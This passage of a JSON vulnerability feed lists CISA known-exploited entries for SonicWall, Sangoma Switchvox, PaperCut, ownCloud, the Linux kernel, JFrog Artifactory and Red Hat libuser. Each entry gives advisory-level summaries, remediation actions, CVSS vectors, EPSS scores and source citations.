guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-82329","asOf":"2026-08-28T18:27:43.632Z"},"epss":{"probability":0.14372,"percentile":0.96592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82329&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-82329","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-82329 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82329&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82329, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA JFROG","url":"https://cveawg.mitre.org/api/cve/CVE-2026-82329","type":"primary","publishedAt":"2026-08-28T18:27:43.632Z","checkedAt":"2026-10-26T15:51:07.344Z","supports":"The published CVE-2026-82329 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:51:07.344Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83548","cveId":"CVE-2026-83548","aliases":[],"kind":"vulnerability","title":"SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability","summary":"SonicWall SMA1000 Appliances contains a server-side request forgery vulnerability that could allow a remote unauthenticated attacker to gain unauthorized access to sensitive functionality and perform unauthorized operations.","detail":"CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-02","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA1000 Appliances","stacks":["SonicWall","SMA1000 Appliances"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-02","dueAt":"2026-09-05","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-83548","asOf":"2026-09-03T03:55:31.337Z"},"epss":{"probability":0.08043,"percentile":0.94748,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83548&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-83548","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-83548 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83548&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83548, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-83548","type":"primary","publishedAt":"2026-09-01T21:25:45.368Z","checkedAt":"2026-10-26T15:51:07.344Z","supports":"The published CVE-2026-83548 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:51:07.344Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83549","cveId":"CVE-2026-83549","aliases":[],"kind":"vulnerability","title":"SonicWall SMA1000 Appliances OS Command Injection Vulnerability","summary":"SonicWall SMA1000 Appliances contains an OS command injection vulnerability that could enable a remote authenticated attacker as administrator to execute arbitrary OS commands, resulting in remote code execution.","detail":"CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-02","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA1000 Appliances","stacks":["SonicWall","SMA1000 Appliances"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-02","dueAt":"2026-09-05","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-83549","asOf":"2026-09-21T13:07:29.786Z"},"epss":{"probability":0.09889,"percentile":0.9554,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83549&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-83549","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-83549 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83549&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83549, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-83549","type":"primary","publishedAt":"2026-09-01T21:28:50.717Z","checkedAt":"2026-10-26T15:51:07.344Z","supports":"The published CVE-2026-83549 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:51:07.344Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9586","cveId":"CVE-2026-9586","aliases":[],"kind":"vulnerability","title":"Sangoma Switchvox SQL Injection Vulnerability","summary":"Sangoma Switchvox contains a SQL injection vulnerability which allows an unauthenticated remote attacker to execute arbitrary SQL statements against the backend PostgreSQL database using a single crafted request, including database operations and remote code execution.","detail":"CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-02","updatedAt":null,"regions":["Global"],"vendor":"Sangoma","product":"Switchvox","stacks":["Sangoma","Switchvox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-02","dueAt":"2026-09-05","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-9586","asOf":"2026-07-17T15:57:42.879Z"},"epss":{"probability":0.18979,"percentile":0.97281,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9586&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-9586","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-9586 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9586&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9586, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA SRA","url":"https://cveawg.mitre.org/api/cve/CVE-2026-9586","type":"primary","publishedAt":"2026-07-17T15:57:42.879Z","checkedAt":"2026-10-26T15:51:07.344Z","supports":"The published CVE-2026-9586 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:51:07.344Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-81578","cveId":"CVE-2026-81578","aliases":[],"kind":"vulnerability","title":"PaperCut NG/MF Missing Authentication for Critical Function Vulnerability","summary":"PaperCut NG/MF contains a missing authentication for critical function vulnerability which allows an unauthenticated remote attacker to modify certain system configurations. This vulnerability can be chained with CVE-2026-82078.","detail":"CISA added this entry on 2026-08-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-31","updatedAt":null,"regions":["Global"],"vendor":"PaperCut","product":"NG/MF","stacks":["PaperCut","NG/MF"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-31","dueAt":"2026-09-14","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-81578","asOf":"2026-09-13T23:15:33.997Z"},"epss":{"probability":0.83729,"percentile":0.99685,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-81578&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-81578","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-81578 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-81578&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-81578, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA PaperCut","url":"https://cveawg.mitre.org/api/cve/CVE-2026-81578","type":"primary","publishedAt":"2026-08-28T11:39:45.402Z","checkedAt":"2026-10-26T16:05:57.793Z","supports":"The published CVE-2026-81578 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:05:57.793Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82078","cveId":"CVE-2026-82078","aliases":[],"kind":"vulnerability","title":"PaperCut NG/MF Unsafe Reflection Vulnerability","summary":"PaperCut NG/MF contains an unsafe reflection vulnerability that allows an attacker to manipulate system configuration parameters and execute arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process. This vulnerability can be chained with CVE-2026-81578.","detail":"CISA added this entry on 2026-08-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-31","updatedAt":null,"regions":["Global"],"vendor":"PaperCut","product":"NG/MF","stacks":["PaperCut","NG/MF"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-31","dueAt":"2026-09-14","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-82078","asOf":"2026-09-13T23:16:32.332Z"},"epss":{"probability":0.60891,"percentile":0.99147,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82078&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-82078","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-82078 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82078&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82078, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA PaperCut","url":"https://cveawg.mitre.org/api/cve/CVE-2026-82078","type":"primary","publishedAt":"2026-08-28T11:45:25.388Z","checkedAt":"2026-10-26T16:05:57.793Z","supports":"The published CVE-2026-82078 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:05:57.793Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-49105","cveId":"CVE-2023-49105","aliases":[],"kind":"vulnerability","title":"ownCloud Improper Authentication Vulnerability","summary":"ownCloud contains an improper authentication vulnerability that allows an attacker to access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured.","detail":"CISA added this entry on 2026-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-27","updatedAt":null,"regions":["Global"],"vendor":"ownCloud","product":"ownCloud","stacks":["ownCloud"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-27","dueAt":"2026-08-30","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AC:L/AV:N/A:H/C:H/I:H/PR:N/S:U/UI:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2023-49105","asOf":"2023-11-21T21:25:15.077Z"},"epss":{"probability":0.4319,"percentile":0.98716,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-49105&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-49105","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-49105 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-49105&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-49105, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA mitre","url":"https://cveawg.mitre.org/api/cve/CVE-2023-49105","type":"primary","publishedAt":"2023-11-21T00:00:00.000Z","checkedAt":"2026-10-26T16:05:57.793Z","supports":"The published CVE-2023-49105 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:05:57.793Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53362","cveId":"CVE-2026-53362","aliases":[],"kind":"vulnerability","title":"Linux Kernel Unspecified Vulnerability","summary":"Linux Kernel contains an unspecified vulnerability that can allow for privilege escalation via IPv6 networking subsystem. This vulnerability can impact multiple products, including but not limited to Suse, Red Hat, and other products using Linux.","detail":"CISA added this entry on 2026-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-27","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-27","dueAt":"2026-08-30","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-53362","asOf":"2026-08-17T04:50:29.351Z"},"epss":{"probability":0.00709,"percentile":0.53231,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53362&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-53362","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-53362 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53362&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53362, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Linux","url":"https://cveawg.mitre.org/api/cve/CVE-2026-53362","type":"primary","publishedAt":"2026-07-04T11:56:35.864Z","checkedAt":"2026-10-26T16:05:57.793Z","supports":"The published CVE-2026-53362 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:05:57.793Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-66384","cveId":"CVE-2026-66384","aliases":[],"kind":"vulnerability","title":"JFrog Artifactory Improper Limitation of a Pathname to a Restricted Directory Vulnerability","summary":"JFrog Artifactory contains an improper limitation of a pathname to a restricted directory vulnerability. This can allow an authenticated user to write data outside the intended Docker cache path under specific remote-repository conditions.","detail":"CISA added this entry on 2026-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-27","updatedAt":null,"regions":["Global"],"vendor":"JFrog","product":"Artifactory","stacks":["JFrog","Artifactory"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-27","dueAt":"2026-09-10","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-66384","asOf":"2026-08-12T15:14:04.906Z"},"epss":{"probability":0.00665,"percentile":0.51495,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-66384&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-66384","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-66384 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-66384&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-66384, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA JFROG","url":"https://cveawg.mitre.org/api/cve/CVE-2026-66384","type":"primary","publishedAt":"2026-08-12T15:14:04.906Z","checkedAt":"2026-10-26T16:05:57.793Z","supports":"The published CVE-2026-66384 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:05:57.793Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-3246","cveId":"CVE-2015-3246","aliases":[],"kind":"vulnerability","title":"Red Hat Libuser Race Condition Vulnerability","summary":"Red Hat libuser contains a race condition vulnerability that allows authenticated local users to corrupt the /etc/passwd file to cause a denial of service or privilege escalation.","detail":"CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-26","updatedAt":null,"regions":["Global"],"vendor":"Red Hat","product":"Libuser","stacks":["Red Hat Enterprise Linux","Red Hat","Libuser"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-26","dueAt":"2026-09-09","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching 